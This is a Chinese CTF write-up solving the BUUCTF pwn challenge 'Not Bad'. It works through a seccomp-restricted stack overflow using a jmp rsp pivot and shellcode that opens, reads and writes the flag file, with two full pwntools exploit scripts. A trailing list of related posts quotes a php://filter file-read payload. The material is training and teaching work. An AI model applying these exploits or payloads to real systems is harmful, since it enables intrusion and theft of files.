总的来说这是一个64位orw的题

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)
2 {
3 mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
4 sub_400949();
5 sub_400906();
6 sub_400A16();
7 return 0LL;
8 }
 1 __int64 sub_400949()
2 {
3 __int64 v1; // [rsp+8h] [rbp-8h]
4
5 v1 = seccomp_init(0LL);
6 seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
7 seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
8 seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
9 seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
10 return seccomp_load(v1);
11 }

这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题

漏洞函数:

1 int sub_400A16()
2 {
3 char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4
5 puts("Easy shellcode, have fun!");
6 read(0, buf, 0x38uLL);
7 return puts("Baddd! Focu5 me! Baddd! Baddd!");
8 }

溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp:

from pwn import *
context.arch='amd64'
context.log_level='debug' s=remote('node4.buuoj.cn',26979)
#s=process('./bad') mmap=0x123000
jmp_rsp=0x400a01 orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50) payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload) s.send(asm(orw_payload)) s.interactive()

手搓 shellcode 的exp:

 1 from pwn import *
2 context.arch='amd64'
3 context.log_level='debug'
4
5 s=remote('node4.buuoj.cn',26979)
6 #s=process('./bad')
7
8 jmp_rsp=0x400a01
9 shellcode1='''
10 xor rdi, rdi
11 mov rsi, 0x123000
12 mov rdx, 0x100
13 mov rax, 0
14 syscall
15 mov rax, 0x123000
16 call rax
17 '''
18
19 shellcode2='''
20 mov rdi, 0x67616c662f2e //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。
21 push rdi
22 mov rdi, rsp
23 mov rsi, 0
24 mov rdx, 0
25 mov rax, 2
26 syscall
27 mov rdi, 3
28 mov rsi, rsp
29 mov rdx, 0x100
30 mov rax, 0
31 syscall
32 mov rdi, 1
33 mov rsi, rsp
34 mov edx, 0x100
35 mov rax, 1
36 syscall
37 '''
38 payload=asm(shellcode1)
39 payload=payload.ljust(0x28,b'\x00')
40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
41 s.sendline(payload)
42
43 s.send(asm(shellcode2))
44
45 s.interactive()

BUUCTF [极客大挑战 2019]Not Bad的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. BUUCTF(八)[极客大挑战 2019]LoveSQL

    BUUCTF 1.打开题目 注入方法可参考NewsCenter 2.测试注入点 username: 1'or'1=1 password: 1'or'1=1 登录成功,说明存在注入漏洞. 下面测试位点个 ...

  6. BUUCTF(十一)[极客大挑战 2019]Knife

    BUUCTF系列 想着应该不会这么简单吧... 结果就是这么简单ee 疯狂暗示... url:xxx/index.php 密码:Syc 连接成功... cd / ls cat flag

  7. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  8. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  9. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

随机推荐

  1. ios加载html5 audio标签用js无法自动播放

    html5 audio标签在ios 微信浏览器中是无法自动播放的,最近在做一个小的项目遇到这个问题,安卓和pc都是正常的,唯独ios不行,查阅了很多资料,找到了以下方法,也许不是最好用的方法,如果有更 ...

  2. Linux系统时钟与硬件时钟

    linux系统有两个时钟:一个是由主板电池驱动的硬件时钟(Real Time Clock),也叫做RTC或者叫CMOS时钟.当操作系统关机的时候,用这个来记录时间,但是对于运行的系统是不用这个时间的: ...

  3. docker安装jumpserver

    注意MySQL的密码设置要有复杂度,否则jumpserver用不了 #先准备一台服务器安装MySQL和redis(注意官网版本要求) root@ubuntu:~# docker pull mysql: ...

  4. 1.Vuejs-第一个实例

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  5. shell脚本 批量查看mysql表条目数

    一.简介 源码地址 日期:2018/4/12 介绍:查看mysql的信息,用于比对和查询条目数 效果图: 二.使用 适用:centos6+ 语言:中文 注意:适用于5.7版本,其它版本要更改变量han ...

  6. shell脚本 mysqldump方式全备份mysql

    一.简介 源码地址 日期:2018/10/8 介绍:mysqldump方式全备份脚本,并保存固定天数的全备份 效果图: 二.使用 适用:centos6+ 语言:中文 注意:使用前先查看脚本,修改对应变 ...

  7. 01-gevent完成多任务

    gevent完成多任务 一.原理 gevent实现多任务并不是依靠多进程或是线程,执行的时候只有一个线程,在遇到堵塞的时候去寻找可以执行的代码.本质上是一种协程. 二.代码实现 import geve ...

  8. <转>单机版搭建Hadoop环境

    安装过程: 一.安装Linux操作系统 二.在Ubuntu下创建hadoop用户组和用户 三.在Ubuntu下安装JDK 四.修改机器名 五.安装ssh服务 六.建立ssh无密码登录本机 七.安装ha ...

  9. 工作簿拆分(Excel代码集团)

    一个工作簿中包括N个工作表,将各个工作表拆分成工作簿. 工作表数量不定,表内内容不限,拆分后保存于当前文件夹内. Sub Sample() Dim MySheetsCount As Long For ...

  10. 2. Go中defer使用注意事项

    1. 简介 defer 会在当前函数返回前执行传入的函数,它会经常被用于关闭文件描述符.关闭数据库连接以及解锁资源. 理解这句话主要在三个方面: 当前函数 返回前执行,当然函数可能没有返回值 传入的函 ...